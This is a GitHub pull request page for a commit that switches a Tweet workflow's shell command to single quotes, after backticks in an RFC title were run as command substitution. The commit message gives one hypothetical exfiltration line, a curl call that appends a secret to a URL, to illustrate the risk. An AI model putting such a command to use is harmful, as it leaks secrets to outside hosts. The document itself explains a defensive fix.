Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Chore: Use non-interpolating single quotes in Tweet action #74

Merged
merged 1 commit into from Dec 29, 2020

Commits on Dec 28, 2020

  1. Chore: Use non-interpolating single quotes in Tweet action

    RFC #73 originally included backticks around <code>`only`</code>. The
    automated tweet omitted "only" and its backticks. I realized that the
    `run` action command was using double quotes, so the backticks from the
    PR title were being interpreted by the shell as command substitution.
    Using single quotes disables any interpolation.
    
    Thankfully only contributors can trigger the automated tweet by labeling
    or merging an RFC, and we'd notice something like `curl
    example.com?secret=$SECRET`, so this isn't really a security issue.
    btmills committed Dec 28, 2020
    Configuration menu
    Copy the full SHA
    395eaf7 View commit details
    Browse the repository at this point in the history